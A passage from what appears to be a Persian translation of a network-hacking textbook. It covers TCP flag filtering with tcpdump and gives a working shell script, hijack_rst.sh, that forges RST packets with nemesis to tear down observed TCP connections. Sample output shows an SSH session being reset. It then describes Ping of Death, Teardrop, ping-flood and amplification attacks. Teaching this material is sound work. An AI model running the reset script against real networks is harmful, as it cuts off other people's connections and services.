‫اﯾﻦ ﺗﺎﺛﯿﺮات را ﻣﯽ ﺗﻮان ﺑﺎ اﺑﺰاری ﭼﻮن ‪ tcpdump‬و ‪ awk‬و ‪ nemesis‬اﺟﺮا ﮐﺮد‪ .‬اﺑـﺰار ‪ TCPDump‬ﺟﻬـﺖ اﺳـﺘﺮاق‬
‫ارﺗﺒﺎﻃﺎت اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد ﮐﻪ اﯾﻦ ﻓﺮآﯾﻨﺪ را ﺑﺎ ﻓﯿﻠﺘﺮ ﮐﺮدن ﺑﺴﺘﻪ ﻫﺎﯾﯽ ﺑﺎ ﻓﻠﮓ ﺗﻨﻈﯿﻢ ﺷﺪه ی ‪ ،ACK‬اﻧﺠـﺎم ﻣـﯽ دﻫـﺪ‪.‬‬
‫اﯾﻦ ﻋﻤﻞ را ﻣﯽ ﺗﻮان ﺑﺎ ﯾﮏ ﻓﯿﻠﺘﺮ ﺑﺴﺘﻪ ﮐﻪ ﺳﯿﺰدﻫﻤﯿﻦ اوﮐﺘﺖ ﻣﻮﺟﻮد در ﻫﺪر ‪ TCP‬را ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﺪ‪ ،‬اﻧﺠﺎم داد‪ .‬ﻓﻠﮓ‬
‫ﻫﺎ ﺑﻪ ﺗﺮﺗﯿﺐ از ﭼﭗ ﺑﻪ راﺳﺖ ﺑﻪ ﺻﻮرت ‪ SYN ،RST ،PSH ،ACK ،URG‬و ‪ FIN‬ﻫﺴﺘﻨﺪ‪ :‬ﯾﻌﻨـﯽ اﮔـﺮ ﻓﻠـﮓ ‪ACK‬‬
‫روﺷﻦ ﺑﺎﺷﺪ‪ ،‬ﺳﯿﺰدﻫﻤﯿﻦ ﻫﺸﺘﺎﯾﯽ در ﺑﺎﯾﻨﺮی ﺑﻪ ﺻﻮرت ‪ 00010000‬اﺳﺖ )ﮐﻪ ﻣﻌﺎدل ده دﻫﯽ ‪ 16‬ﻣﯽ ﺑﺎﺷﺪ(‪ .‬اﮔﺮ‪ ،‬ﻫـﻢ‬
‫‪ ،SYN‬و ﻫﻢ ‪ ACK‬روﺷﻦ ﺑﺎﺷﺪ‪ ،‬ﺳﯿﺰدﻫﻤﯿﻦ اوﮐﺘﺖ در ﺣﺎﻟﺖ ﺑﺎﯾﻨﺮی ﺑﻪ ﺻﻮرت ‪ 00010010‬ﻇﺎﻫﺮ ﺷﺪه ﮐﻪ ﻣﻌﺎدل ده‬
‫دﻫﯽ ‪ 18‬اﺳﺖ‪.‬‬
‫ﺑﺮای اﯾﺠﺎد ﻓﯿﻠﺘﺮی ﮐﻪ ﺑﺘﻮاﻧﺪ ﺑﺪون ﺗﻮﺟﻪ ﺑﻪ دﯾﮕﺮ ﺑﯿﺘﻬﺎ‪ ،‬در زﻣﺎن روﺷﻦ ﺑﻮدن ﻓﻠﮓ ‪ ACK‬ﻋﻤﻞ ﮐﻨﺪ‪ ،‬ﻣﯽ ﺗـﻮان ﻋﻤﻠﮕـﺮ‬
‫ﺑﯿﺘﯽ ‪ AND‬را اﺳﺘﻔﺎده ﮐﺮد‪ AND .‬ﮐﺮدن ‪ 00010010‬ﺑﺎ ‪ ،00010000‬ﺗﻮﻟﯿﺪ ‪ 00010000‬را ﺧﻮاﻫﺪ ﮐﺮد‪ ،‬زﯾﺮا ﻫﻨﮕﺎم‬
‫روﺷﻦ ﺑﻮدن ﻫﺮ دو ﺑﯿﺖ‪ ،‬ﺑﯿﺖ ‪ ACK‬ﺗﻨﻬﺎ ﺑﯿﺖ ﻣﻮﺟﻮد ﺧﻮاﻫﺪ ﺑـﻮد‪ ،‬ﯾﻌﻨـﯽ ﻓﯿﻠﺘـﺮ ‪ ،tcp[13] & 16 == 16‬ﺑـﺴﺘﻪ ﻫـﺎی‬
‫ﺗﻨﻈﯿﻢ ﺷﺪه ﺑﺎ ﻓﻠﮓ ‪ ACK‬را ﺻﺮف ﻧﻈﺮ از وﺿﻌﯿﺖ دﯾﮕﺮ ﻓﻠﮓ ﻫﺎ‪ ،‬ﻓﯿﻠﺘﺮ ﻣﯿﮑﻨﺪ‪.‬‬
‫"‪# tcpdump -S -n -e -l "tcp[13] & 16 == 16‬‬
‫‪tcpdump: listening on eth0‬‬
‫‪22:27:17.437439 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 98: 192.168.0.193.22‬‬
‫>‬
‫)‪192.168.0.118.2816: P 1986373934:1986373978(44) ack 3776820979 win 6432 (DF‬‬
‫‪[tos‬‬
‫]‪0x10‬‬
‫‪22:27:17.447379 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 242: 192.168.0.193.22‬‬
‫>‬
‫‪192.168.0.118.2816: P 1986373978:1986374166(188) ack 3776820979 win 6432‬‬
‫‪(DF) [tos‬‬
‫]‪0x10‬‬
‫ﻓﻠﮓ ‪ –s‬ﺑﻪ ‪ tcpdump‬دﺳﺘﻮر ﭼﺎپ ﮐﺮدن ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ ﻣﻄﻠﻖ را ﻣﯽ دﻫﺪ‪ .‬ﻓﻠﮓ ‪ –n‬ﺑﺮﻧﺎﻣﻪ ‪ tcpdump‬را از ﺗﺒﺪﯾﻞ‬
‫آدرس ﻫﺎ ﺑﻪ ﻧﺎم ﻫﺎ ﻣﻨﻊ ﻣﯽ ﮐﻨﺪ‪ .‬ﺑﻌﻼوه‪ ،‬ﻓﻠﮓ ‪ –e‬ﺑﺮای ﭼﺎپ ﮐﺮدن ﻫﺪرِ ﺳﻄﺢ‪-‬اﺗـﺼﺎل روی ﻫـﺮ ‪ dump line‬اﺳـﺘﻔﺎده‬
‫ﻣﯿﺸﻮد‪ .‬ﻓﻠﮓ ‪ -1‬ﺧﻂ ﺧﺮوﺟﯽ را ﺑﺎﻓﺮ ﻣﯽ ﮐﻨﺪ‪ ،‬ﻟﺬا ﻣﯽ ﺗﻮان آﻧﺮا ﺑﻪ اﺑﺰار دﯾﮕﺮی ﻣﺎﻧﻨﺪ ‪ awk‬ﻫﺪاﯾﺖ ﮐﺮد )‪.(pipe‬‬
‫‪ awk‬ﯾﮏ اﺑﺰار اﺳﮑﺮﯾﭙﺘﯽ ﻓﻮق اﻟﻌﺎده اﺳﺖ ﮐـﻪ ﻣـﯽ ﺗـﻮان آﻧـﺮا ﺑـﺮای ﺗﻔـﺴﯿﺮ‪ 80‬ﺧﺮوﺟـﯽ ﻫـﺎی ‪ tcpdump‬ﺑـﻪ ﻣﻨﻈـﻮر‬
‫اﺳﺘﺨﺮاج آدرس ﻣﺒﺪا و ﻣﻘﺼﺪ‪ ،‬ﭘﻮرت ﻫﺎ‪ ،‬آدرس ﻫﺎی ﺳﺨﺖ اﻓﺰاری و ﻫﻤﭽﻨﯿﻦ ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ و ﺗﺼﺪﯾﻖ ﺑﮑﺎر ﺑـﺮد‪.‬‬
‫ﺷﻤﺎره ﺗﺼﺪﯾﻖ در ﯾﮏ ﺑﺴﺘﻪ ﺧﺮوﺟﯽ از ﯾﮏ ﻫﺪف‪ ،‬در ﺣﻘﯿﻘﺖ ﺷﻤﺎره ﺗﻮاﻟﯽ ﺟﺪﯾﺪی اﺳﺖ ﮐﻪ ﺑـﺮای ﺑـﺴﺘﻪ ﭘﺎﺳـﺦ ﺧـﻮد‬
‫اﻧﺘﻈﺎر دارد‪ .‬اﯾﻦ اﻃﻼﻋﺎت را ﻣﯽ ﺗﻮان ﺑﺎ اﺳﺘﻔﺎده از ﻧﺮم اﻓﺰار ‪ Nemesis‬ﺟﻬﺖ ﺷﻨﺎور ﮐﺮدن ﯾﮏ ﺑﺴﺘﻪ ﺟﻌﻠﯽ ‪ RST‬ﺑﮑﺎر‬
‫ﺑﺮد‪ .‬آﻧﮕﺎه‪ ،‬اﯾﻦ ﺑﺴﺘﻪ ﺟﻌﻠﯽ ارﺳﺎل ﻣﯽ ﺷﻮد و ﺗﻤﺎم ارﺗﺒﺎﻃﺎﺗﯽ ﮐﻪ ‪ tcpdump‬ﯾﺎﻓﺘﻪ اﺳﺖ‪ reset ،‬ﻣﯽ ﺷﻮﻧﺪ‪.‬‬
‫‪File: hijack_rst.sh‬‬

‫‪#!/bin/sh‬‬
‫{' ‪tcpdump -S -n -e -l "tcp[13] & 16 == 16" | awk‬‬
‫‪# Output numbers as unsigned‬‬
‫;"‪CONVFMT="%u‬‬

‫‪# Seed the randomizer‬‬


‫;)(‪srand‬‬

‫‪# Parse the tcpdump input for packet information‬‬


‫;‪dst_mac = $2‬‬
‫;‪src_mac = $3‬‬
‫;)"‪split($6, dst, ".‬‬
‫;)"‪split($8, src, ".‬‬
‫;]‪src_ip = src[1]"."src[2]"."src[3]"."src[4‬‬
‫;]‪dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4‬‬

‫‪80‬‬
‫‪Parse‬‬
‫‪132‬‬
src_port = substr(src[5], 1, length(src[5])-1);
dst_port = dst[5];

# Received ack number is the new seq number


seq_num = $12;

# Feed all this information to nemesis


exec_string = "nemesis tcp -v -fR -S "src_ip" -x "src_port" -H "src_mac"
-D
"dst_ip" -y "dst_port" -M "dst_mac" -s "seq_num;

# Display some helpful debugging info.. input vs. output


print "[in] "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10" "$11" "$12;
print "[out] "exec_string;

# Inject the packet with nemesis


system(exec_string);
}'

‫ ﺑــﯿﻦ‬SSH ‫ ﯾــﮏ ﻧﺸــﺴﺖ‬.‫ ﻣــﯽ ﮔﺮدﻧــﺪ‬reset ،‫ ﺗﻤــﺎم ارﺗﺒﺎﻃــﺎت ﺑﻤﺤــﺾ ﺗــﺸﺨﯿﺺ‬،‫ﺑــﻪ ﻣﺤــﺾ اﺟــﺮای اﯾــﻦ اﺳــﮑﺮﯾﭙﺖ‬
.‫ ﺷﺪه اﺳﺖ‬reset ‫ در ﻣﺜﺎل زﯾﺮ‬،192.168.0.118 ‫ و‬192.168.0.193
# ./hijack_rst.sh
tcpdump: listening on eth0
[in] 22:37:42.307362 0:c0:f0:79:3d:30 0:0:ad:d1:c7:ed 0800 74:
192.168.0.118.2819
> 192.168.0.193.22: P 3956893405:3956893425(20) ack 2752044079
[out] nemesis tcp -v -fR -S 192.168.0.193 -x 22 -H 0:0:ad:d1:c7:ed -D
192.168.0.118
-y 2819 -M 0:c0:f0:79:3d:30 -s 2752044079

TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30


[Ethernet type] IP (0x0800)

[IP] 192.168.0.193 > 192.168.0.118


[IP ID] 22944
[IP Proto] TCP (6)
[IP TTL] 255
[IP TOS] 00
[IP Frag offset] 0000
[IP Frag flags]

[TCP Ports] 22 > 2819


[TCP Flags] RST
[TCP Urgent Pointer] 0
[TCP Window Size] 4096

Wrote 54 byte TCP packet through linktype DLT_EN10MB.

TCP Packet Injected


[in] 22:37:42.317396 0:0:ad:d1:c7:ed 0:c0:f0:79:3d:30 0800 74:
192.168.0.193.22 >
192.168.0.118.2819: P 2752044079:2752044099(20) ack 3956893425
[out] nemesis tcp -v -fR -S 192.168.0.118 -x 2819 -H 0:c0:f0:79:3d:30 -D
192.168.0.193 -y 22 -M 0:0:ad:d1:c7:ed -s 3956893425

TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)

[MAC] 00:C0:F0:79:3D:30 > 00:00:AD:D1:C7:ED


[Ethernet type] IP (0x0800)
[IP] 192.168.0.118 > 192.168.0.193
[IP ID] 25970
[IP Proto] TCP (6)
[IP TTL] 255
133
‫‪[IP TOS] 00‬‬
‫‪[IP Frag offset] 0000‬‬
‫]‪[IP Frag flags‬‬

‫‪[TCP Ports] 2819 > 22‬‬


‫‪[TCP Flags] RST‬‬
‫‪[TCP Urgent Pointer] 0‬‬
‫‪[TCP Window Size] 4096‬‬
‫‪Wrote 54 byte TCP packet through linktype DLT_EN10MB.‬‬

‫‪TCP Packet Injected‬‬

‫‪ .3,5‬ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ )‪(Denial of Service‬‬

‫ﺷﮑﻞ دﯾﮕﺮی از ﺣﻤﻼت ﺷﺒﮑﻪ‪ ،‬ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ اﺳﺖ‪ .‬ﻋﻤﻠﯿﺎت ‪ RST Hijacking‬ﻣﻌﻤﻮﻻ ﺷـﮑﻠﯽ از ﺣﻤـﻼت ﺗﮑـﺬﯾﺐ‬
‫ﺳﺮوﯾﺲ ﻣﯽ ﺑﺎﺷﺪ‪ .‬در اﯾﻦ ﻓﺮآﯾﻨﺪ‪ ،‬ﺣﻤﻠﻪ ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ ﺑﻪ ﺟـﺎی ﺗـﻼش در ﺳـﺮﻗﺖ اﻃﻼﻋـﺎت‪ ،‬از دﺳـﺘﯿﺎﺑﯽ ﺑـﻪ ﯾـﮏ‬
‫ﺳﺮوﯾﺲ ﯾﺎ ﻣﻨﺒﻊ ﺟﻠﻮﮔﯿﺮی ﻣﯽ ﮐﻨﺪ‪ .‬دو ﺷﮑﻞ اﺳﺎﺳﯽ از ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ وﺟﻮد دارﻧﺪ‪ :‬آﻧﻬﺎﯾﯽ ﮐﻪ ﺳﺮوﯾﺲ ﻫـﺎ‬
‫را ﮐﺮش و آﻧﻬﺎﯾﯽ ﮐﻪ ﺳﺮوﯾﺲ ﻫﺎ را ﻏﺮﻗﻪ )‪ (flood‬ﻣﯽ ﮐﻨﻨﺪ‪.‬‬
‫در ﺣﻘﯿﻘﺖ‪ ،‬ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺴﯽ ﮐﻪ ﻣﻮﺟﺐ ﮐﺮش ﮐﺮدن ﺳﺮوﯾﺲ ﻫﺎ ﻣﯽ ﺷﻮﻧﺪ‪ ،‬ﺷﺒﯿﻪ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﺑﺮﻧﺎﻣـﻪ ای‬
‫ﻫﺴﺘﻨﺪ و ﻧﻪ اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی ﻣﺒﺘﻨﯽ ﺑﺮ ﺷﺒﮑﻪ‪ .‬اﯾﻦ ﺣﻤﻼت اﻏﻠﺐ واﺑﺴﺘﻪ ﺑﻪ ﭘﯿـﺎده ﺳـﺎزی ﺿـﻌﯿﻒ ﺗﻮﺳـﻂ ﯾـﮏ ﻓﺮوﺷـﻨﺪه‬
‫ﺧﺎص ﻫﺴﺘﻨﺪ‪ .‬ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ ﺳﺮرﯾﺰ ﺑﺎﻓﺮ ﺑﺎ ﻋﺎﻣﻠﯿﺖ ﻧﺎدرﺳﺖ‪ ،‬ﻣﻌﻤﻮﻻ ﺑﻪ ﺟﺎی ﺗﻐﯿﯿﺮ روﻧـﺪ اﺟـﺮا ﺑـﻪ ﺷـﻞ‪-‬ﮐـﺪ ﺗﺰرﯾـﻖ‬
‫ﺷﺪه‪ ،‬ﺗﻨﻬﺎ ﺳﯿﺴﺘﻢ ﻣﻘﺼﺪ را ﮐﺮش ﻣﯽ ﮐﻨﺪ‪ .‬اﮔﺮ اﯾﻦ آﺳﯿﺐ ﭘـﺬﯾﺮی روی ﯾـﮏ ﺳـﺮور ﺑﺎﺷـﺪ‪ ،‬آﻧﮕـﺎه ﻫـﯿﭻ ﮐـﺲ اﻣﮑـﺎن‬
‫دﺳﺘﯿﺎﺑﯽ ﺑﻪ آن ﺳﺮوﯾﺲ را ﻧﺨﻮاﻫﺪ داﺷﺖ‪ .‬ﺣﻤـﻼت ﺗﮑـﺬﯾﺐ ﺳـﺮوﯾﺲِ ﮐـﺮش ﮐﻨﻨـﺪه ای از اﯾـﻦ ﻧـﻮع‪ ،‬ﻣﻌﻤـﻮﻻ ارﺗﺒـﺎط‬
‫ﻧﺰدﯾﮑﯽ ﺑﺎ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺧﺎص و ﯾﮏ ﻧﺴﺨﻪ ﺧﺎص دارﻧﺪ‪ .‬ﺑﺎ اﯾﻦ ﺣﺎل ﺣﻤﻼت ﻣﻌﺪودی از ﺗﮑﺬﯾﺐ ﺳـﺮوﯾﺲِ ﮐـﺮش ﮐﻨﻨـﺪه‬
‫وﺟﻮد داﺷﺘﻪ اﻧﺪ ﮐﻪ ﺑﻪ دﻟﯿﻞ اﺷﺘﺒﺎﻫﺎت ﺷﺒﮑﻪ ای ﯾﮑﺴﺎن‪ ،‬ﭼﻨﺪﯾﻦ ﻓﺮوﺷﻨﺪه را ﺗﺤﺖ ﺗﺎﺛﯿﺮ ﻗﺮار ﻣـﯽ دادﻧـﺪ‪ .‬اﮔﺮﭼـﻪ اﯾـﻦ‬
‫ﺧﻄﺎﻫﺎ در اﻏﻠﺐ ﺳﯿﺴﺘﻢ ﻫﺎی ﻋﺎﻣﻞ ﻣﺪرن ‪ patch‬ﺷﺪه اﻧﺪ‪ ،‬اﻣﺎ ﻫﻤﭽﻨﺎن ﻣﻔﯿﺪ ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ درﺑﺎره ﭼﮕﻮﻧﮕﯽ اﺳـﺘﻔﺎده از‬
‫اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ در وﺿﻌﯿﺖ ﻫﺎی ﻣﺨﺘﻠﻒ ﻓﮑﺮ ﮐﻨﯿﻢ‪.‬‬

‫‪ .3,5,1‬ﺣﻤﻼت ‪Ping Of Death‬‬

‫ﺑﺮ اﺳﺎس وﯾﮋﮔـﯽ ﺑـﺴﺘﻪ ﻫـﺎی‪ ،ICMP‬ﭘﯿـﺎم ﻫـﺎی ‪ ICMP Echo‬دارای ‪ 216‬ﯾـﺎ ‪ 65,536‬ﺑﺎﯾـﺖ داده در ﻗـﺴﻤﺖ ‪data‬‬
‫ﻫﺴﺘﻨﺪ‪ .‬ﻗﺴﻤﺖ ‪ data‬در ﺑﺴﺘﻪ ﻫﺎی‪ ICMP‬ﻣﻌﻤﻮﻻ ﭼﺸﻢ ﭘﻮﺷﯽ ﻣـﯽ ﺷـﻮد‪ ،‬ﭼـﻮن اﻃﻼﻋـﺎت ﻣﻬـﻢ در ﻫـﺪر ﻗـﺮار دارﻧـﺪ‪.‬‬
‫ﭼﻨﺪﯾﻦ ﺳﯿﺴﺘﻢ ﻋﺎﻣﻞ در ﺻﻮرت ارﺳﺎل ﭘﯿﺎم ﻫﺎی ‪ ICMP Echo‬ﺑﺎ اﻧﺪازه ﻣﺘﺠﺎوز از ﻣﻘـﺪار ﺗﻌﯿـﯿﻦ ﺷـﺪه ﺧـﻮد‪ ،‬ﮐـﺮش‬
‫ﮐﺮدﻧﺪ‪ .‬ﻓﻮج ﻋﻈﯿﻤﯽ از ﭘﯿﺎم ﻫﺎی ‪ ICMP Echo‬ﺑﺎ اﻧـﺪازه ﻫـﺎی ﺑـﺰرگ‪ ،‬اﺻـﻄﻼﺣﺎ ‪ Ping of Death‬ﻧﺎﻣﯿـﺪه ﺷـﺪ‪ .‬اﻟﺒﺘـﻪ‬
‫ﺗﻘﺮﯾﺒﺎ ﺗﻤﺎﻣﯽ ﺳﯿﺴﺘﻢ ﻫﺎی ﻣﺪرن در ﻣﻘﺎﺑﻞ اﯾﻦ آﺳﯿﺐ ﭘﺬﯾﺮی اﺻﻼح ﺷﺪه اﻧﺪ‪.‬‬

‫‪ .3,5,2‬ﺣﻤﻼت ‪TearDrop‬‬

‫ﺣﻤﻠﻪ ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ دﯾﮕﺮی از ﻧﻮع ﮐﺮش ﮐﻨﻨﺪه ﺑﻪ ﻫﻤﺎن ﻋﻠﺖ ﻗﺒﻠﯽ ﺑﻮﺟﻮد آﻣﺪ ﮐﻪ اﯾﻨﺒـﺎر ‪ TearDrop‬ﻧـﺎم ﮔﺮﻓـﺖ‪.‬‬
‫‪ Teardrop‬ﺿــﻌﻒ دﯾﮕــﺮی را در ﭘﯿــﺎده ﺳــﺎزی ﻫــﺎی ﭼﻨــﺪﯾﻦ ﻓﺮوﺷــﻨﺪه در ﻋﻤﻠﯿــﺎت ﺳــﺮﻫﻢ ﺳــﺎزی ﻗﻄﻌــﻪ ﻫــﺎی ‪،IP‬‬
‫اﮐﺴﭙﻠﻮﯾﺖ ﻣﯿﮑﺮد‪ .‬ﻣﻌﻤﻮﻻ ﻫﻨﮕﺎم ﻗﻄﻌﻪ ﻗﻄﻌﻪ ﺷﺪن ﯾﮏ ﺑﺴﺘﻪ‪ ،‬آﻓﺴﺖ ﻫﺎی ذﺧﯿﺮه ﺷﺪه در ﻫـﺪر‪ ،‬ﺑـﺮای ﺳـﺎﺧﺖ ﻣﺠـﺪد‬

‫‪134‬‬
‫ﺑﺴﺘﻪ اﺻﻠﯽ ﻣﺮﺗﺐ ﻣﯽ ﺷﻮﻧﺪ‪ .‬ﺣﻤﻼت ‪ Teardrop‬ﭼﻨﺪ ﻗﻄﻌﻪ را ﺑﺎ آﻓﺴﺖ ﻫﺎی ﻣـﺸﺘﺮک ﻣـﯽ ﻓﺮﺳـﺘﺎد ﮐـﻪ ﺳـﺒﺐ ﮐـﺮش‬
‫ﮐﺮدن ﭘﯿﺎده ﺳﺎزی ﻫﺎﯾﯽ ﮐﻪ اﯾﻦ ﺷﺮط ﻏﯿﺮﻣﻌﻤﻮل را ﭼﮏ ﻧﮑﺮده ﺑﻮدﻧﺪ‪ ،‬ﻣﯽ ﺷﺪ‪.‬‬

‫‪ .3,5,3‬ﺣﻤﻼت ‪Ping Flooding‬‬

‫ﺣﻤﻼت ﺗﮑﺬﯾﺐ ﺳﺮوﯾﺲ از ﻧﻮع ﻓﻼد‪ ،‬ﺗﻼﺷﯽ ﺑﺮ ﮐﺮش ﮐﺮدن ﯾﮏ ﻣﻨﺒﻊ ﯾﺎ ﺳﺮوﯾﺲ ﻧﺪارﻧﺪ‪ ،‬ﺑﻠﮑﻪ آﻧﻬﺎ ﺳﻌﯽ ﻣﯽ ﮐﻨﻨـﺪ ﺑـﺎ‬
‫ارﺳﺎل داده ﻫﺎی ﺑﺰرﮔﺘﺮ از ﻇﺮﻓﯿﺖ ﮐﺎﻧﺎل‪ ،‬ﻣـﺸﮑﻼﺗﯽ ﺑـﺮای ﺳﯿـﺴﺘﻢ ﻣﻘـﺼﺪ ﻓـﺮاﻫﻢ ﺳـﺎزﻧﺪ )اﺻـﻄﻼﺣﺎ اﯾـﻦ ﻋﻤﻠﯿـﺎت را‬
‫‪ overload‬ﮐﺮدن ﻣﯽ ﻧﺎﻣﯿﻢ(‪ .‬ﺑﻪ اﯾﻦ ﺻﻮرت آن ﻣﻨﺒﻊ ﯾﺎ ﺳﺮوﯾﺲ اﻣﮑﺎن ﭘﺎﺳﺦ ﮔﻮﯾﯽ را ﻧﺨﻮاﻫﺪ داﺷﺖ‪ .‬ﺣﻤﻼﺗـﯽ از اﯾـﻦ‬
‫دﺳﺖ ﻣﯽ ﺗﻮاﻧﻨﺪ ﺳﺒﺐ اﻧﺴﺪاد ﻣﻨﺎﺑﻌﯽ ﭼﻮن ﭼﺮﺧﻪ ﻫﺎی ﭘﺮدازﻧﺪه و ﭘﺮوﺳﻪ ﻫﺎی ﺳﯿﺴﺘﻤﯽ ﺷﻮﻧﺪ‪ ،‬اﻣﺎ ﯾـﮏ ﺣﻤﻠـﻪ از ﻧـﻮع‬
‫ﻓﻼد‪ ،‬ﺳﻌﯽ ﺑﺮ اﻧﺴﺪاد ﯾﮏ ﻣﻨﺒﻊ ﺷﺒﮑﻪ را دارد‪.‬‬
‫ﺳﺎده ﺗﺮﯾﻦ ﻓﺮم ﺣﻤﻼت ﻓﻼد‪ Ping Flood ،‬اﺳﺖ‪ .‬ﻫﺪف اﯾﻦ ﻧﻮع ﺣﻤﻼت‪ ،‬اﺳﺘﻔﺎده ﺑﯿﺶ از ﺣـﺪ از ﭘﻬﻨـﺎی ﺑﺎﻧـﺪ ﻗﺮﺑـﺎﻧﯽ‬
‫اﺳﺖ‪ ،‬ﺑﻪ ﻃﻮرﯾﮑﻪ اﻣﮑﺎن ﻋﺒﻮر دﯾﮕﺮ ﺗﺮاﻓﯿﮏ ﻫﺎی ﻣﻌﺘﺒﺮ ﻧﺨﻮاﻫﺪ ﺑﻮد‪ .‬ﻧﻔﻮذﮔﺮ ﭼﻨﺪﯾﻦ ﺑﺴﺘﻪ ﺑﺰرگ ﭘﯿﻨـﮓ را ﺑـﻪ ﻗﺮﺑـﺎﻧﯽ‬
‫ﻣﯽ ﻓﺮﺳﺘﺪ و ﭘﻬﻨﺎی ﺑﺎﻧﺪ ارﺗﺒﺎﻃﯽ ﺷﺒﮑﻪ ﻗﺮﺑﺎﻧﯽ را اﺷﻐﺎل ﻣﯽ ﮐﻨﺪ‪.‬‬
‫واﻗﻌﺎ ﭼﯿﺰ ﻫﻮﺷﻤﻨﺪاﻧﻪ ای در راﺑﻄﻪ ﺑﺎ اﯾﻦ ﺣﻤﻠﻪ وﺟﻮد ﻧﺪارد‪ ،‬ﮐﻤﺎ اﯾﻨﮑﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﯾﮏ ﭘﯿﮑﺎر ﭘﻬﻨﺎی ﺑﺎﻧﺪ ﻧﺎم ﮔﺬاﺷﺖ؛‬
‫در ﭼﻨﯿﻦ وﺿﻌﯿﺘﯽ ﻧﻔﻮذﮔﺮ ﺑﺎ ﭘﻬﻨﺎی ﺑﺎﻧﺪ ﺑﯿﺸﺘﺮ از ﻗﺮﺑﺎﻧﯽ‪ ،‬ﻣﯽ ﺗﻮاﻧﺪ در ﻣﻘﺎﯾﺴﻪ ﺑﺎ ﻗﺮﺑﺎﻧﯽ اﻃﻼﻋﺎت ﺑﯿﺸﺘﺮی ارﺳـﺎل ﮐﻨـﺪ‪.‬‬
‫ﺑﻨﺎﺑﺮاﯾﻦ از رﺳﯿﺪن ﺗﺮاﻓﯿﮏ ﻫﺎی ﻣﻌﺘﺒﺮ دﯾﮕﺮ ﺑﻪ ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ ﺟﻠﻮﮔﯿﺮی ﻣﯽ ﮐﻨﺪ‪.‬‬

‫‪ .3,5,4‬ﺣﻤﻼت ﺗﺸﺪﯾﺪی‬

‫راه ﻫﻮﺷﻤﻨﺪاﻧﻪ ای ﺑﺪون ﻧﯿﺎز ﺑﻪ ﭘﻬﻨﺎی ﺑﺎﻧﺪ زﯾﺎد‪ ،‬ﺑﺮای اﺟﺮای ﺣﻤﻠﻪ ‪ Ping Flood‬وﺟﻮد دارد‪ .‬ﯾـﮏ ﺣﻤﻠـﻪ ﺗـﺸﺪﯾﺪی از‬
‫ﻋﻤﻠﯿﺎت ﺟﻌﻞ ﮐﺮدن )‪ (spoofing‬و آدرس دﻫﯽ اﻧﺘﺸﺎری اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ و ﺟﺮﯾﺎن ﺳﺎده ای از ﺑﺴﺘﻪ ﻫﺎ را ﺑـﻪ ﺑـﯿﺶ از‬
‫ﺻﺪ ﺑﺮاﺑﺮ ﺗﺸﺪﯾﺪ ﺧﻮاﻫﺪ ﮐﺮد‪ .‬ﻧﺨﺴﺖ ﻻزم اﺳﺖ ﮐﻪ ﯾﮏ ﺳﯿﺴﺘﻢ ﺗﺸﺪﯾﺪی ﻫﺪف‪ ،‬ﯾﺎﻓﺖ ﺷـﻮد‪ .‬اﯾـﻦ ﺳﯿـﺴﺘﻢ ﺗـﺸﺪﯾﺪی‪،‬‬
‫ﺷﺒﮑﻪ ای اﺳﺖ ﮐﻪ اﻣﮑﺎن ﺑﺮﻗﺮاری ارﺗﺒﺎط ﺑﺎ آدرس اﻧﺘﺸﺎری را ﻓـﺮاﻫﻢ ﺳـﺎﺧﺘﻪ و ﻫﻤﭽﻨـﯿﻦ دارای ﺗﻌـﺪاد ﻧـﺴﺒﺘﺎ زﯾـﺎدی‬
‫ﻣﯿﺰﺑﺎن ﻓﻌﺎل اﺳﺖ‪ .‬در اﯾﻦ ﺻﻮرت‪ ،‬ﻧﻔﻮذﮔﺮ ﺑﺴﺘﻪ ﻫﺎی ﺑﺰرگ ‪ ICMP Echo Request‬ﺑﺎ آدرس ﺟﻌﻠﯽِ ﻣﻨﺒﻊ ﺑﺮاﺑـﺮ ﺑـﺎ‬
‫ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ را ﺑﻪ آدرس اﻧﺘﺸﺎری ﺷﺒﮑﻪ ﺗﺸﺪﯾﺪی ارﺳﺎل ﻣﯽ ﮐﻨﺪ‪ .‬ﺗﺸﺪﯾﺪﮐﻨﻨﺪه اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ را ﺑﻪ ﺗﻤﺎم ﻣﯿﺰﺑﺎن ﻫـﺎی‬
‫ﻣﻮﺟﻮد در ﺷﺒﮑﻪ ﺗﺸﺪﯾﺪی اﻧﺘﺸﺎر ﻣﯽ دﻫﺪ‪ .‬در ﻧﺘﯿﺠﻪ ﺑﺴﺘﻪ ﻫﺎی ﻣﺘﻨﺎﻇﺮ ‪ ICMP Echo Reply‬ﺑﻪ آدرس ﻣﻨﺒـﻊ ﺟﻌﻠـﯽ‪،‬‬
‫ﮐﻪ در واﻗﻊ ﻫﻤﺎن ﺳﯿﺴﺘﻢ ﻗﺮﺑﺎﻧﯽ اﺳﺖ‪ ،‬ارﺳﺎل ﻣﯽ ﺷﻮﻧﺪ‪.‬‬

‫‪135‬‬
